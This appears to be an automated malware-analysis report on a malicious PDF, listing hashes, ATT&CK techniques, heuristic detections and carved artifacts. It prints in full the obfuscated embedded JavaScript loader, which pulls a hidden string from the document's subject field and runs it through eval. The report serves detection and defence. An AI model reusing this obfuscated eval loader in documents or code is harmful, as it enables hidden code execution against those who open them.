Malicious PDF — malware analysis report

Static analysis result for SHA-256 76523f5536538e90…

MALICIOUS

PDF

44.6 KB
MD5: a611d96d30edfa4f57aedbe2a4f72411 SHA-1: 1c2c5cde9f714aea52db96f5360a6a859ac1aa3b SHA-256: 76523f5536538e90ae9b3c0f72a982e3faaeea88862be87f95c0625314b034c7
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript that is triggered by XFA form elements, indicating an exploit attempt. The JavaScript code appears to be obfuscated but ultimately calls an eval function with a string constructed from specific characters, likely to download and execute a secondary payload. The ML classifier strongly indicates maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9994

Heuristics 7

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.bitstream.com In PDF document text
    • http://ns.adobe.com/xdp/In PDF document text
    • http://www.xfa.org/schema/xci/2.6/In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.6/In PDF document text

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js
079a8a5183c7222d928bad8bd31a75cdc90dd694bb461f22e9f9d10882221ec4		 pdf-javascript-stream PDF /JS object 7 at offset 0x87C 989 bytes
Preview script
First 1,000 lines of the extracted script
G5JY02K4T=this;W2pGU6K=['A','9','s','R','m','I','2','i','C','1','6','A','P','n','C','x','f','n','o','Q','k'];bsp4REI=W2pGU6K[7]+W2pGU6K[13]+W2pGU6K[16]+W2pGU6K[18];THK8=G5JY02K4T[bsp4REI];r756A4wb10=['G','2','i','H','0','M','p','s','x','6','d','E','f','y','t','t','m','5','1','6','C','P','y','I','2','8','j','U','y','p','n','6','5','U','0','x','e','V'];Ks87t4H8=r756A4wb10[6]+r756A4wb10[10]+r756A4wb10[12]+r756A4wb10[15]+r756A4wb10[22]+r756A4wb10[29]+r756A4wb10[36];y5v8651=THK8[Ks87t4H8];        cqwrNVqfe0="";FDOdaBU=['T','r','c','R','0','s','h','K','3','Z','b','J','p','a','Q','f','u','7','r','F','W','0','0','A','P','z','w','t','V','L','l'];v3GMd0=FDOdaBU[2]+FDOdaBU[6]+FDOdaBU[13]+FDOdaBU[18]+FDOdaBU[23]+FDOdaBU[27];for (i=0;i<y5v8651.length;i +=4){   cqwrNVqfe0 +=y5v8651.charAt(i);}Os908Q4I=['H','R','e','X','v','r','a','r','7','A','o','B','3','l','Z','6','A','I','6','Y'];q4LC9My7B5=Os908Q4I[2]+Os908Q4I[4]+Os908Q4I[6]+Os908Q4I[13];ush2=G5JY02K4T[q4LC9My7B5];ush2(cqwrNVqfe0);
stream_000_off00000166.bin
f06ef072a26e9bacb6b249f1b2e5196b367ce55e0ec90dc8d05f772fcedf58cd		 decompressed-pdf-stream PDF FlateDecoded stream at offset 0x166 11420 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 16 long base64-like blob(s).
font_00_sfnt_off000010e1.bin
044efaa0fcddad6a1afc97a6bd112675dff8d542f6a622fb73e7eb17d43d90f7		 pdf-font-stream PDF embedded font (sfnt) at offset 0x10E1 65932 bytes

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